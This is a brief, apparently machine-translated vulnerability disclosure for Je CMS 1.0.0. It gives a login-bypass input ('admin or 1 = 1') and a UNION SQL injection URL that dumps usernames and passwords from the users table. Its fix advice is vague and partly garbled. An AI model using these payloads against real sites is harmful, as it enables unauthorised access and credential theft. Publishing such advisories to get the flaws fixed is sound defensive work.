Je cms 1.0.0 universal Password Logon and injection vulnerability and repair

Je cms <= 1.0.0 has two vulnerabilities. You can use a universal password for Logon verification. The other is the SQL injection vulnerability.

1. Bypass Authentication by SQL Injection Vulnerability // logon Verification Vulnerability

In administratorlogin. php page, lines 16-20: // lines 16-20 on the login. php page (Code omitted)

POC:

In administrator/login. php

Username: admin or 1 = 1

Password: admin or 1 = 1

 

2. SQL injection in administratorindex. php on "userid" parameter: // SQL injection Vulnerability

In administratorindex. php file line 12: (the code is omitted)

POC:

Http: // site/joenas-ejes/administrator/index. php? Jepage = edituser & userid = 1 and 1 = 2 union select 1, 2, 3, 4, group_concat (username, 0x3a, password), 6, 7, 8, 9, 10, 11, 12 from users --

Security Protection:

Strictly Filter

The filtering variable or replacement space is null.